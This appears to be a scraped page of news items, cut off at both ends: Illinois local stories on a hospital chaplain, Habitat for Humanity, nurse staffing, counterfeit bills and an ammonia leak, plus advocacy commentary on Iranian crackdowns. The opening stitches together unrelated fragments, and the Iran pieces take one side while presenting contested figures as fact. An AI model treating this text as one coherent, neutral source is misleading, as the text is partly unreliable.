collection is vital to stay here in Illinois," Lowe said. "It is one of the greatest collections of documents and artifacts pertaining to Abraham and Mary Lincoln in the world, so it's very important that they're successful." If Murphy's fundraising campaign is successful, the document will be donated directly to the ALPLM. Those looking to support the campaign can do so by visiting several Springfield area businesses including Springfield Vintage, Studio on 6, the Danenberger Winery, Homescapes in the Gables and Keefner's Restaurant. Those looking to donate are told to make checks payable to Caddyshack Open, a not-for-profit organization operated by the Bank of Springfield. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Flatiron School has graduated thousands of students since its founding in 2012. Photo courtesy of WeWork Choose your country to get an overview of the legal status and resources on homeschooling with a list of local contacts that can help you find out about mandatory homeschool requirements. Select a country or click on the map below. My names Will Capers. For almost nine years, Ive blogged on various topics. I blogged as Blaque Ink first, and as Brotha Wolf second. The latter had a mu... 2 years ago As of August 26th, 2021 Yahoo India will no longer be publishing content. Your Yahoo Account Mail and Search experiences will not be affected in any way and will operate as usual. We thank you for your support and readership. For more information on Yahoo India, please visit the FAQ Science magazine has a recent online article by journalist Lizzie Wade looking at the growing influence of ancient aliens and other pseudoarchaeological nonsense in the United States: Believe in Atlantis? These archaeologists want to win you back to science. Ive selected a passage in the middle of the article to quote: Adding to archaeologists sense of responsibility is that many of these ideas started within mainstream archaeology, says Jeb Card, an archaeologist at Miami University in Oxford, Ohio. We have to own these stories. For example, white settlers and early archaeologists in 19th century North America excavated elaborate pre-Columbian burial moundsbut ascribed them to a lost moundbuilder race that was killed by the ancestors of Native Americans. Former President Andrew Jackson used those ideas to justify displacing Native Americans from their lands. Today, white nationalists make similar claims. To argue for Europeans deep roots in the Americas, they have latched onto Vinland, a short-lived medieval Viking settlement in eastern Canada, and the Solutrean hypothesis, which argues that the Americas were first peopled by arrivals from Western Europe. Neither claim started as pseudoarchaeologyVinland was real, and the Solutrean hypothesis was proposed by mainstream archaeologists, then tested and ruled outbut they have been twisted for ideological ends. A white supremacist accused of murdering two people on a train in Portland, Oregon, in 2017 included the words Hail Vinland!!! in a Facebook post less than a month before the attack. When it comes to mainstream media figures who are promoting pseudoarchaeology, I think we need to focus on the money. Pseudoarchaeology is a business. The media organizations, actors, and authors who are promoting this nonsense are profiting enormously from it. Theyre quacks. That money is coming, directly and indirectly, from people who often have a genuine and deep interest in knowing about the human past. Pseudoarchaeology is stealing their money and betraying their real quest for knowledge by feeding people nonsense. The IHRM report also noted that the NCRIs disclosures came in the immediate aftermath of an announcement by the Iranian Minister of Intelligence concerning the arrest of members and affiliates of the NCRIs main constituent group, the Peoples Mojahedin Organization of Iran. A separate IHRM report explained that Mahmoud Alavi had used a Tehran prayer gathering last Friday as a platform for boasting about the arrest of 116 PMOI members over the past year. Alavi intimated that these arrests were part of a broader initiative ordered by Supreme Leader Ali Khamenei. This sort of emphasis on suppression of PMOI organizing raising significant alarms since the group was the main target of a campaign of mass executions in 1988 which left 30,000 people dead. Alavis references to directives and wise instructions from the supreme leader arguably lend credence to the NCRIs insistence that arrest figures are larger than have been acknowledged, both for the general activist population and for the PMOI in particular. Furthermore, the number cited by Alavi seems like a conservative estimate in the context of subsequent public statements about the arrest and prosecution of persons who had merely been in contact with the PMOI, without formally joining its ranks. According to the same IHRM report, the Director General of the Intelligence Department in West Azerbaijani Province announced that 60 people had been arrested for communicating with the PMOI, while 50 others had been identified and verbally warned about the potential legal consequences of interaction with the banned group. There have been a number of recorded instances, even in recent years, of the Iranian judiciary carrying out the death penalty for charges stemming from activities no more serious than donating money to PMOI media networks. One might question why Iranian authorities claim to have identified very nearly as many non-member affiliates of the PMOI in the past year as they have actual members. One possible explanation is that the arrest figures cited by Alavi seek to downplay the groups nationwide membership, even as local security forces feel compelled to warn substantial numbers of activists against offering it support. This would be in keeping with the regimes longstanding claim that the PMOI is only a marginal threat, lacking in popularity within Iranian society. Yet this talking point was undermined at the beginning of 2018, when nationwide protests against the theocratic system led to Khamenei issuing a statement that attributed much of the planning and organization of the anti-government uprising to the PMOI. In March of that year, PMOI/NCRI leader Maryam Rajavi called upon the Iranian people to pursue a year full of uprisings, and this appeared to precipitate resurgent protests, as led by local organizing bodies that the group refers to as resistance units. The large numbers of people currently facing arrest for communication with the PMOI may also be an effect of such calls to action, and the public response. Of course, the PMOI is far from the only current challenge to the Iranian regime, and authorities crackdown on dissent certainly predates the January 2018 uprising. The public has been challenging the theocratic government in various subtler ways in recent years, often by simply defying Tehrans efforts to enforce draconian laws based on a fundamentalist interpretation of Islamic. Many of these laws relate to the role of women and the segregation of young Iranians according to gender. The anti-government protests closely coincided with the separate emergence of a movement in opposition to the forced veiling of women, known as Girls of Revolution Street. The associated protests involve women removing their headscarves while standing on elevated structures in public place. As such, they seem to demonstrate a growing willingness to violate laws that are seen as unjust or contrary to the public will. But this sort of defiance had previously been well-established in less public places. Indeed, the Revolution Street protests were an outgrowth of the My Stealthy Freedom campaign organized by London-based womens rights activist Masih Alinejad, which encouraged Iranian women to remove their legally required hijabs while alone and then post photos of themselves to social media. It is difficult to say with certainty whether the increase in these sorts of protests preceded or followed the clerical regimes efforts to reassert its hardline principles with regard to gender roles and other social issues. But it is clear that both phenomena have been ongoing for some time, with authorities in recent years announcing the deployment of additional morality police units, cancelling performances by female actors and musicians, expanding gender segregation laws to cover new areas, and so on. On Wednesday, IHRM called renewed attention to one of the many outlets for the conflict between opposition trends among the people and the government. That report noted that 25 individuals had been arrested in the city of Gorgan as a result of a raid on a mixed gender party where participants consumed alcohol and declined to comply with the Islamic dress code. Such raids are not new, but IHRM emphasizes that they have become much more frequent and punitive in the past three years. The impetus for this escalation was reportedly an initiative by the office of the supreme leader to crack down on social harm, and as a result of his warning even private weddings have come to be targeted. Since the beginning of the year, at least 97 people have been arrested for fraternizing with persons of the opposite gender at a private gathering. Khameneis role in directing the crackdown is an extension of his personal efforts to reassert the Islamic Republics hardline identity. Many of the aforementioned expansions of systemic gender discrimination were direct outgrowths of his announcement of a plan, in 2015, to raise the Iranian birthrate by encouraging women to avoid entering the workforce in favor of starting large families at a young age. That plan involved banning vasectomies and cutting access to birth control overall, as well as conveying propaganda through state media. Of course, whether it is for the sake of political dissent or the embrace of alternative social trends and lifestyles, the Iranian people have been facing the challenging of competing against the state media apparatus. This is accomplished in large part through the internet and social media, but state authorities have been working to expand upon controls over such tools at the same time that they have been enforcing gender norms and cracking down on the PMOI and other pro-democratic voices. The Center for Human Rights in Iran published an article this week highlighting the persistence of that effort. In the first place, it reported that the nations prosecutor general has opened a series of offices for a new state agency called the Cyber Division Rapid Reaction Center. The new agency appears to be connected to messages that some Iranian internet users see when they attempt to access banned sites, which say that the users device specifications and internet identification have been recorded. According to CHRIs investigation, persons who attempt to access the same site for times are told, Because of your repeated actions in trying to access an illegal content provider, your IP has been reported for prosecution. However, the report notes that these warnings can still be avoided by using circumvention and encryption tools, which are commonplace among tech savvy Iranian internet users who wish to continue accessing various banned news sites and social media networks like Twitter and Telegram. This speaks to the Iranian peoples continued ability to push back against the escalating enforcement measures of hardline authorities. But these advantages in the cyber sphere offer no protection against more traditional crackdowns on free speech and the dissemination of information. Naturally, reports continue to emerge on a regular basis describing the arrests of journalists and known social media activists. Along those lines, IranWire reported on Thursday that authorities had taken Mohammad-Reza Nasab Abdollahi, the editor-in-chief of Anar Press and Aban Press into custody and transferred him to an undisclosed location. Details of the arrest were scarce, but it is not the first time Abdollahi has been targeted for his journalistic activities. And in this case, his mothers home was also raided in an apparent act of brute intimidation. A day earlier, CHRI reported upon the prosecution of Kamal Jafari Yazdi, a former supporter of the Iranian regime who began criticizing the government online following the crackdown on the 2009 Green Movement. For the crime of forming an illegal group against national security by posting to his Telegram account with occasional news of political prisoners, Yazdi was sentenced this month to 13 years in prison. Yazdis own account of his trial indicated that there was some disconnect between the actual proceedings and the final verdict, likely indicating that the outcome had been pre-determined. For this and other political prisoners, such occurrences are indicative of a crackdown that is being directed against all areas of Iranian life by the nations highest authorities, primarily the supreme leader. Alireza Rezaie said: [MEK] members were looking for weapons and ammunition to disturb the security in the province, before being captured, [while another 50 were identified and] restrained. While another official, Qodtrat Diyalameh, said on Wednesday that the MEK had expanded their activities over the past year during a time of major economic and social crises in Iran and accused foreign intelligence services of employing the MEK. Rezaie refused to elaborate on how the MEK and foreign intelligence services cooperated, instead claiming that the US, the West in general, Saudi Arabia, and Israel all worked to support the MEK. He provided no evidence to support this assertion but maintained that the primary goals of the MEK were to create division in the Regime, disclose the regimes inefficiencies, promote non-Islamic culture, and support anti-religion movements. Again, he did not say how the MEK would create division among the Regime members. Meanwhile, on April 19, Intelligence Minister Mahmoud Alavi said that he had discovered the identity of 290 CIA agents both in Iran and elsewhere, including arresting tens of spies serving at sensitive centres of the country. He said that over the past year, 116 teams related to the MEK has been dealt with, in a transparent attempt to boost morale among members of the Islamic Revolutionary Guard Corps (IRGC) after the US designated them as a terror cell. He also refused to go into details. Of course, its important to note that the Regime always downplays the number of arrests in order to make themselves look better. The National Council of Resistance of Iran (NCRI) said that far more than 116 people were arrested by the regime in 2018. (Amnesty International counted 7,000 during the protests last January alone.) The NCRI also released the names of 28 political prisoners who are currently in prison and called for urgent international measures for their immediate release. Maryam Rajavi, President-elect of the Iranian Resistance, once again urged the Secretary-General of the United Nations, the UN High Commissioner for Human Rights and the international human rights organizations to act immediately to ensure those arrested are released. She asked them to appoint delegations to visit the regimes prisons and meet with political prisoners. The missiles in question are intended for short-range use, in contrast to the ballistic missiles that have been steadily developed by the Islamic Revolutionary Guard Corps in recent years, to the consternation of the US and other Western critics. The 2015 Iran nuclear deal between Iran and six world powers does not address the issue of Irans arsenal of potentially nuclear-capable ballistic missiles, but a companion resolution by the United Nations Security Council calls upon the Islamic Republic to avoid all such work. Nonetheless, the IRGC has continued development, production, and test-firing of these weapons ever since, in a clear sign of the escalating tensions between the Iranian regime and the nations it describes as enemies. Those tensions seemed poised to worsen this week after the Trump administration announced the end of sanctions waivers for importers of Iranian oil, approximately two weeks after designating the IRGC as a foreign terrorist organization. Iranian officials responded with a fresh outpouring of anti-Western rhetoric, and Supreme Leader Ali Khamenei appointed an ultra-hardline officer as the new head of the Revolutionary Guards, signaling persistent defiance and the expectation of more open confrontation. Notably, IranWire predicted on Tuesday that Hossein Salamis leadership of the IRGC would be characterized by more missiles and a more hawkish approach. In his previous role as deputy commander, Salami developed a reputation for hostile speeches mainly targeting the US and Israel, and he repeatedly asserted the necessity of increasing the missile and defense capabilities of the Islamic Republic. These same positions can be expected to exert even more influence over the actions of the hardline paramilitary, and Salamis contributions to Irans military buildup would likely extend beyond the field of ballistic missiles into other, more traditional weapons development. In this sense, the Press TV announcement of forthcoming mass production arguably reflected upon the ultra-hardline turn that Khamenei promoted through Salamis appointment. While ballistic missiles have been a centerpiece in Iranian antagonism of the West, these other missiles have also long been considered essential to Irans strategy for any future confrontation with a superior military force. The IRGC has variously teased its swarm tactics, whereby US warships would supposedly be overwhelmed by small but fast moving military equipment, including attack boats and helicopter-mounted missiles. Yet this strategy was not explicitly identified in the Press TV report. This is not to say that no threat against the West was intended, but only that the Iranian regime is generally voicing its threats in a somewhat veiled fashion. This same phenomenon can arguably been seen in the recent remarks delivered by Foreign Minister Javad Zarif in a United Nations session at the Asian Society in New York. Zarif was very explicitly defiant of the US on topics such as economic sanctions, stating for instance that the Iranians have a PhD in evading the enforcement of such measures. But on the topic of prospective conflict between Iran and the US, Zarif was more evasive. His remarks to that effect began by saying of US President Donald Trump, I dont think he wants war. But he went on to say that he could be lured into one. This stated was apparently made in reference to hawkish advisors inside the White House, but Zarifs overall remarks were sufficiently vague as to invite the interpretation that his government is only trying to maintain plausible deniability about its own intentions. Reuters referred to some of those remarks as somewhat cryptic, specifically identifying a portion of the foreign ministers speech in which he said that some people could plot an accident in order to precipitate a regional crisis. Though the meaning of this phrase was not clear, it was arguably made alarming by Zarifs further statements asserting that Iran would not under any circumstances back down from its positions in Iraq and Syria. The Trump administration has insisted upon the regimes withdrawal of forces from the broader region as a prerequisite for the removal of economic sanctions. But not only has Tehran consistently rejected this out of hand, it now appears to be welcoming a more serious confrontation. As the aforementioned Press TV article put it: While asserting that its military power is deterrent in nature, Iran has invariably defended its inalienable right to enhance its military prowess against potential regional and extra-regional intrusion. This seems to blur the line between self-defense and force-projection, pre-emptively denying that Iran would be responsible for any conflicts that emerge beyond its borders, regardless of the regimes own actions. EFFINGHAM Rev. Ralph Zetzl, OFM, sacramental chaplain at HSHS St. Anthonys Memorial Hospital, will be retiring on Friday, May 3. Zetzl will be celebrating his last Mass in the hospital Chapel at 10:30 a.m. A reception will be held from 11:30 a.m. to 2 p.m. and also from 6 to 8 p.m. in the hospital auditorium. Community members are invited to stop by and show their appreciation to Zetzl. To honor over 18 years of ministry with the hospital, St. Anthonys Pastoral Care department is having a card shower for those who wish to express their appreciation to Zetzl as he transitions to the next chapter of life and ministry. Cards may be sent to HSHS St. Anthonys Memorial Hospital, c/o Pastoral Care, 503 N. Maple St., Effingham, IL 62401, or brought to the receptions. Ordained at Teutopolis in 1965, Zetzl has served at many parishes over the years, before being assigned to St. Anthonys Memorial Hospital in 2001. For more information contact the hospitals Pastoral Care department at 217-347-1225. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 MATTOON St. Pauls Lutheran Church, north of Mattoon, is sponsoring a ham dinner benefit on Sunday. Serving is from 11:30 a.m. to 1:30 p.m. Proceeds from the dinner will go to Coles County Habitat for Humanity. The menu consists of baked ham, scalloped potatoes, green beans and a variety of salads, pies and desserts, roll and drinks. The address for the church is 8975 E County Road 1200N, Mattoon (two miles east of Dorans), 217-234-9880. Coles County Habitat for Humanity is currently raising funds to support its 39th home build located at 3224 Shelby in Mattoon. James Dare and Alisha Quast have been selected as Habitats newest partner family. James moved to Mattoon in 2010 and has been employed at Rural King for the past four years. Alisha is a Mattoon native and is a stay-at-home mom. James and Alisha have two beautiful children: their son Brody is seven years old, and their daughter Delanie is three years old. Habitat along with the family recently began construction of the home. James and Alisha are excited to build their new home and to get to know everyone at Habitat. The home is expected to be complete in September. Coles County Habitat for Humanity is an ecumenical Christian housing ministry organized in 1989. It seeks to eliminate poverty housing by building modest, safe and affordable houses for low-income families. Homes are sold to low-income families at no profit with a zero-interest mortgage provided by Coles County Habitat for Humanity. Using the sweat equity of the partner families, volunteer labor, donated materials and the financial contributions of area churches, businesses, organizations and individuals, Habitat seeks to keep costs as low as possible. In Coles County, the cost of a new Habitat home is approximately $80,000. Homeowners make regular payments on no-interest mortgages with terms that can range from 20 to 30 years. A typical homeowners monthly costs range from $425 to $450, which covers the mortgage payment and escrows for property taxes and homeowners insurance. Mortgage payments from partner families are then used to help build additional houses for future Habitat families. Anyone interested in donating or volunteering for the build can contact Melissa McDaniel at the Coles County Habitat for Humanity office at 217-348-7063 or by email at colescountyhabitat@consolidated.net. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Ahead of state legislators' return to Springfield next week, supporters of controversial legislation that would mandate patient-nurse staffing ratios in all hospitals in Illinois are touting a report released this week that says that while the law would initially cost hospitals, it would save money in the long run. The report, "The Fiscal Impact of Safe Patient Limits in Illinois," by the Illinois Economic Policy Institute, states that the cost of hiring more than an estimated 19,000 nurses at hospitals across the state to meet the requirements of the proposed law would cost about $1.82 billion. But over time, hospitals would save more than $1.35 billion through fewer patient readmissions and a reduction in staff turnover and injuries, among other factors, the report states. Hospitals refute the study, pointing out possible union influence, including the nonprofit's board member Alice Johnson, executive director of the Illinois Nurses Association, a strong proponent of the bill. The report is the latest conflict in the hotly debated proposal that would mandate hospitals have a certain number of nurses in each unit, depending on patient load. The proposed law would set a maximum number of patients per nurse, between one and four, depending on the type of unit. Supporters say the ratios are needed to improve patient safety, as well as the working conditions and safety of nurses, some of whom describe 12-hour shifts with no bathroom breaks because they're so overloaded with patients. The Illinois Health and Hospital Association is opposed to the proposal, saying ratios are a rigid, one-size-fits-all approach that does not work in a diverse state such as Illinois. And the cost is unrealistic for many fiscally challenged hospitals in Illinois, which already has a shortage of nurses. Instead, staffing should be determined at each hospital, according to the association, through committees mandated by law several years ago. In the report, released Tuesday, author Frank Manzo, policy director at ILEPI, used overtime pay data and nursing shortage numbers to arrive at his estimates of new hires that would be required of hospitals across the state to comply with the law. The report also analyzed data from California, the only other state with a nurse staffing ratio law. The report states that hiring more registered nurses will reduce stress on nurses already in hospitals, which contributes to turnover rates. It also cites studies that show ratios improve patient care and lead to lower hospital readmission rates. Even with the proposed savings estimated in the report, hospitals would still have a net cost of $465 million, according to the report. But INA Executive Director Johnson said that cost "is minuscule ... when you look at it in terms of the overall financial picture for the hospitals," relating it to total annual spending for most hospitals and the salaries of CEOs. "Hospitals can afford this," she said, adding that "the other question that has to be answered is, what is a life worth?" Johnson also said that as the hospital association lobbies against the legislation, hospital administrators are "scaring" staff, saying that if the law is passed, hospitals won't be able to afford it. "When you look at the savings (in the report), this is a policy change that is affordable, and more importantly, it's going to save patients' lives," she said. "This is what nurses in Illinois want." Danny Chun, spokesman for the Illinois Health and Hospital Association, criticized the methodology of the ILEPI report, noting that while nurses are an important part of patient care, they are not the only members of the care team and not solely responsible for patient readmission rates. He added that it's unclear how many new nurses hospitals would have to hire, should the law pass. "To come up with that, you would have to analyze every shift in every unit in every hospital. We haven't done that analysis. We don't know the number we'd have to hire." The association has estimated the cost, should the law pass, to be about $2 billion, "but that's a rough estimate," Chun said, adding that 40 percent of Illinois' hospitals are struggling financially. "They can't absorb the cost," he said. "They can't make it." The downsides of mandatory ratios go beyond cost, Chun said. If a unit does not have enough nurses to meet the ratios, it would have to close, possibly eliminating services for patients. And a hospital would have to go on "bypass," or divert incoming patients and ambulances to other hospitals, if it didn't have enough nurses on staff at any given time, Chun said. "This would have a domino effect ... because it might not just be one hospital that goes on bypass," he said. In some areas of the state, he said, that could send patients to faraway hospitals, possibly out of state and out of their insurance network. State Rep. Fred Crespo, D-Streamwood, main sponsor of the nurse staffing legislation, said he hopes to continue to negotiate with the hospitals and the nurses unions, and ultimately pass the bill in May. He said that while current law requires hospitals to set up committees that include rank-and-file nurses to determine daily staffing in any given unit, it's not enough. "There's some wiggle room" in the proposed bill," Crespo said. "But we need to take a step in the right direction and start doing (ratios)." Love 0 Funny 0 Wow 0 Sad 0 Angry 0 BALTIMORE When she was a student at Johns Hopkins University, Nirali Chauhan enjoyed exercising. She took part in Baltimore Running Festivals and was certified as a group exercise instructor. But on the very day she was to attend a one-year memorial for the passing of her father in a Chicago suburb Nov. 6, 2015, Chauhan was accidentally run over by an elderly neighbor in his sport-utility vehicle and suffered a variety of cuts, scrapes and bruises. While her body healed, a concussion she sustained became more problematic. "After the injury, it became very difficult to move my body," Chauhan recalled. "It kind of felt foreign to me. I felt very dizzy and nauseous when I did move. So that inactivity led to a lot of weakness in my body, and that's something that I still struggle with today." Chauhan then found yoga sessions operated by LoveYourBrain, an organization committed to improving life for people suffering from traumatic brain injuries, after she graduated in 2016 and moved to New Hampshire to pursue a master's degree at Dartmouth College. The yoga has helped Chauhan, now 25, become physically active once again. "After an injury that profoundly impacts you, I think it is natural to fight your brain or resist the changes that your injury has caused," she said. "But the program teaches you that it's important to do the exact opposite in order to heal. You have to nurture it and feed it and love your brain and your entire self, and only with that intention can you properly heal. It took me a little time to get to that point, but when I did, it only got better for me." LoveYourBrain yoga has expanded to 29 states and served more than 2,100 people. The organization is seeking to be in all 50 states by 2021. The LoveYourBrain Foundation was established by brothers Adam and Kevin Pearce after the latter suffered a serious brain injury from a snowboarding accident in Park City, Utah, on New Year's Eve in 2009. Kevin Pearce, who spent nearly a week in a coma and was forced to give up his hopes of competing in the 2010 Winter Olympics, was hampered by physical and cognitive challenges until a friend took him to a yoga class. In 2014, in their home state of Vermont, Pearce and his brother established LoveYourBrain, which offers programs to foster community and resilience to people suffering from traumatic brain injuries (TBI). The yoga portion introduces patients and their caregivers to the physical benefits of yoga while also giving the participants a chance to connect to each other. "Because TBI is so complex, it's actually quite challenging to come up with a program that is dynamic enough to be tailored to the individuals in a group, but then also has a consistent structure so that it's able to have fidelity and remain high quality across a wide variety of people," said Kyla Pearce, senior director of the organization's yoga program and wife of Adam Pearce. "So it was surprising just knowing the benefits of yoga and its potential for supporting rehabilitation. But as we continued to roll out the program, we learned how to overcome the barriers so that we could effectively implement it on a very large scale." According to the Centers for Disease Control and Prevention, about 2.87 million TBI-related emergency department visits, hospitalizations and deaths occurred in the United States in 2014. In addition, that number had increased by 53 percent from 2006 to 2014. Medical experts have routinely promoted the benefits of physical activity in patients' recoveries, and Dr. Joseph Cleary, a senior pediatric neuropsychologist at Mount Washington Pediatric Hospital in Baltimore, praised LoveYourBrain's approach. "I think it's a cool kind of thing just because not only are you getting out of the house and practicing yoga, which would be beneficial, but they're practicing yoga with other people who have (brain injuries)," he said. "So that has to have a huge effect, almost like a group therapy effect on belonging and formalizing issues. "We see a lot of kids when they go back into their environment, they withdraw from friends, and there's increased depression and anxiety because they don't feel like they fit in anymore. So that has huge implications for social and emotional and pure relationship values." Added Dr. Christopher Vaughan, a pediatric neuropsychologist at Children's National in Washington: "We spend a lot of time focused on traumatic brain injuries as a harmful and detrimental issue, but there's something to be said about a positive message that focuses on brain health." Chauhan, the Hopkins graduate, said she has been diagnosed with postconcussion syndrome. She became dizzy and nauseated when concentrating, especially in front of a computer, was carried to the kitchen table for meals, and distanced herself from friends because she felt they could not understand her situation. "It turned my whole world upside down," Chauhan said of the concussion. "I really took a lot of pride in being able to excel at school. That was part of my identity growing up. And so after my injury, losing that part of me was really difficult because with any other type of injury, it's your brain that tells you to push forward, to be strong, to persevere. But in my case, it was the brain that was broken." Chauhan said she still deals with postconcussion symptoms. But she passed the MCATs and will attend medical school next year. She said she is "in a much more positive and hopeful place" than earlier in her recovery and has credited LoveYourBrain's yoga sessions with helping her rebuild her life. "I actually do feel like it's made me a better person," she said. "But it has been a long journey, and I know that will only continue as well." Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Today's Highlight in History: On April 26, 1865, John Wilkes Booth, the assassin of President Abraham Lincoln, was surrounded by federal troops near Port Royal, Virginia, and killed. On April 26: In 1564, William Shakespeare was baptized at Holy Trinity Church in Stratford-upon-Avon, England. In 1607, English colonists went ashore at present-day Cape Henry, Virginia, on an expedition to establish the first permanent English settlement in the Western Hemisphere. In 1777, during the American Revolutionary War, 16-year-old Sybil Ludington, the daughter of a militia commander in Dutchess County, New York, rode her horse into the night to alert her father's men of the approach of British regular troops. In 1933, Nazi Germany's infamous secret police, the Gestapo, was created. In 1968, the United States exploded beneath the Nevada desert a 1.3 megaton nuclear device called "Boxcar." In 1986, an explosion and fire at the Chernobyl nuclear power plant in Ukraine caused radioactive fallout to begin spewing into the atmosphere. (Dozens of people were killed in the immediate aftermath of the disaster while the long-term death toll from radiation poisoning is believed to number in the thousands.) In 1989, actress-comedian Lucille Ball died at Cedars-Sinai Medical Center in Los Angeles at age 77. In 1994, voting began in South Africa's first all-race elections, resulting in victory for the African National Congress and the inauguration of Nelson Mandela as president. China Airlines Flight 140, a Taiwanese Airbus A-300, crashed while landing in Nagoya, Japan, killing 264 people; there were seven survivors. In 2006, Whitney Cerak and Laura Van Ryn, two students at Indiana's Taylor University, were involved in a van-truck collision that killed five people; in a tragic mix-up that took five weeks to resolve, a seriously injured and comatose Cerak was mistakenly identified as Van Ryn, who had actually died in the crash and was buried by Cerak's family. In 2009, The United States declared a public health emergency as more possible cases of swine flu surfaced from Canada to New Zealand. In 2014, President Barack Obama opened the first visit by a U.S. president in nearly half a century to Malaysia, the third stop on his weeklong goodwill trip through Asia. In 2018, Bill Cosby was convicted of drugging and molesting Temple University employee Andrea Constand at his suburban Philadelphia mansion in 2004; it was the first big celebrity trial of the #MeToo era and completed the spectacular downfall of a comedian who broke racial barriers on his way to TV superstardom. (Cosby was later sentenced to three to 10 years in prison.) Mike Pompeo was sworn in as secretary of state, minutes after being confirmed by the Senate; he then flew immediately to Brussels for meetings at NATO headquarters. Thought for Today: "Perfect order is the forerunner of perfect horror." Carlos Fuentes, Mexican author (1928-2012) Love 0 Funny 0 Wow 0 Sad 0 Angry 0 MATTOON -- Danielle King and her family have become big Marvel superhero fans while watching all 21 movies leading up to "Avengers: Endgame," so they decided to do something special for the debut of this climactic film Thursday evening. "We have never gone on opening night before, so we figured we might as well go big or go home," King said as they arrived two hours early for the 6 p.m. Thursday first showing of "Endgame" at the AMC Classic Mattoon 10. "We have been looking forward to it." King said she and her husband, Joe, purchased movie tickets for them and their children Tyler, 15; Jill, 13; and Logan, 7 two weeks ago. She said the children did their homework during the drive to the theater and her husband planned to join them there after work. To keep her children occupied during the two-hour wait in the auditorium for "Endgame" to begin, King said she brought along a Nintendo Switch video game system and two tablets for them to use. "We are just going to hang out and hope our battery life lasts," King said. "Endgame" will bring to a close a Marvel movie story arc that began in 2008 with the first "Iron Man" film. King said Tony Stark's "Iron Man," who once described himself as a "genius, billionaire, playboy, philanthropist," is her favorite Avenger because he is "just awesome." Logan, 7, explained that scientist Bruce Banner's hulking, smashing green alter ego is his favorite Avenger, "Because he is like a person and when that person gets mad he turns into the Hulk." Iron Man got a hulk sized share of attention on the theater's front walk, where two "Iron Man Matte Gray" 2019 Hyundai Kona compact sport utility vehicles were on display. The two vehicles provided by the K.C. Summers dealership in Mattoon have small Iron Man and Marvel logos on the exteriors, plus Tony Stark's signature on the dashes. Thomas Dial of Charleston; his girlfriend, Tapanga Morgan of Charleston; his cousin, Sam Hansen of Charleston; and friend Keenan Muse of Iowa excitedly looked over the two vehicles as they waited to purchase tickets for one of the theater's 11 showings of "Endgame." A dozen more showings are set for Friday, starting at noon. "This has been 11 years in the making and I am not missing this for anything," Dial said, describing "Endgame" as the explosive conclusion of an epic fireworks show. Dial said his favorite Avenger is Thor, the hammer-wielding God of Thunder, but Iron Man is a close second. Muse said he got hooked on Spider-Man in childhood when he saw the 2002 movie starring Tobey Maguire. Hansen said her favorites include the relatable everyman "Ant-Man." Morgan said she liked the most recent solo Avenger movie -- "Captain Marvel." "Our whole family is absolutely obsessed with these movies," Hansen said, adding that they have enjoyed comparing notes on the previous movies in the Avengers saga. "Everything has led up to this point and that is what is so exciting about it." Contact Rob Stroud at (217) 238-6861. Follow him on Twitter: @TheRobStroud Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. CHARLESTON Authorities have arrested two Indiana residents they say passed counterfeit $100 bills at six businesses in Charleston and five in Mattoon. These arrested promoted the Mattoon Police Department to issue a public service announcement directed at making local businesses aware of a rise in counterfeit currency related incidents. "The Mattoon Police Department has already investigated a number of counterfeit currency related crimes this year, and would urge business to be vigilant about the issue," said Deputy Chief Sam Gaines. Based on suspect and vehicle descriptions provided to police, Charleston officers conducted a traffic stop that yielded $1,254.00 cash, a loaded .40 caliber handgun, and several counterfeit $100 bills, according to a news release from the Charleston Police Department. The suspects, a 24-year-old woman from Indianapolis and 21-year-old man from Carmel, were taken into custody Tuesday on preliminary charges of forgery and unlawful use of a weapon. Preliminary charges are reviewed by the state's attorney's office. The Eastern Illinois and Mattoon police departments assisted with the investigation. The Mattoon Police Department reported that its officers arrested the 24-year-old woman on four preliminary counts of forgery at 4 p.m. Wednesday at the jail. Mattoon's charge alleges that this woman used counterfeit $100 bills on Tuesday to complete transactions at three businesses in Mattoon, to which she received real money as change. She also unsuccessfully attempted a transaction at another business, the charge alleges. Gaines said businesses that receive currency, especially of higher denominations, that is believed to be suspicious, or does not pass the pen/mark test, are urged to contact the police immediately upon receipt of this currency. Businesses are advised to hold any suspicious currency for police to investigate, and to not provide change to whomever passed the suspicious currency. Anyone passing suspicious currency can be advised they are welcome to await police arrival for their currency to be investigated. Should those passing suspicious currency flee the business, employees there are advised to attempt to gain vehicle description and license plate information if it is safe to do this. Gaines said the most recent incidents have all been counterfeit $100 dollar bills, but smaller denominations should not be overlooked. He said to be aware of anyone attempting to use a higher denomination of currency to purchase an item of small value. "Suspects in these cases tend to be travelers. The most recent cases (in Mattoon) have been both male and female suspects traveling from both Chicago and Indianapolis," Gaines said. Love 0 Funny 0 Wow 1 Sad 0 Angry 1 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. BEACH PARK, Ill. (AP) A chemical leak that caused a toxic plume to hang for hours over a northern Chicago suburb Thursday sickened dozens of people, including seven who are in critical condition, officials said. Lake Forest Fire Chief Mike Gallo said a tractor was towing two separate two-ton containers of anhydrous ammonia when the leak occurred around 4:30 a.m. Initial reports suggested the vehicle was involved in a crash, but the sheriff's office later said that was not the case. The cause of the leak has not been released. The leak created a toxic cloud that lingered for several hours over Beach Park, about 40 miles (65 kilometers) north of downtown Chicago. Authorities ordered residents within a 1-miles radius to stay inside and close their windows. Area schools were closed for the day. Pamela Burnett of unincorporated Warren Township said she was headed to her job in Kenosha, Wisconsin, when she drove through the toxic cloud. Burnett said she wasn't sure if it was smoke or dust from the shoulder of the road. "It kept on getting bigger and bigger this wasn't going away. I tried to slow down and not go through it," Burnett told reporters at the scene. "The next thing I knew, I couldn't breathe. It was such a strong smell. I thought to myself, 'Lord this is it. I'm done now.'" Burnett, 57, said she pulled off the road while "spitting and coughing" and called 911. She was taken to a hospital for treatment. Her condition wasn't immediately known. Eleven firefighters were among the 37 people who were hospitalized, and one of the injured firefighters was among the seven in critical but stable condition, according to the Lake County Sheriff's Office. Three law enforcement officers were in good condition and several others were serious but stable, sheriff's spokesman Christopher Covelli said. Authorities said most of those injured suffered breathing problems. "This is a very dangerous chemical that can cause unconsciousness and, worst case scenario, death," Covelli said. According to the Centers for Disease Control and Prevention, anhydrous ammonia is a colorless gas that can cause breathing difficulties, burns, blisters and is fatal if 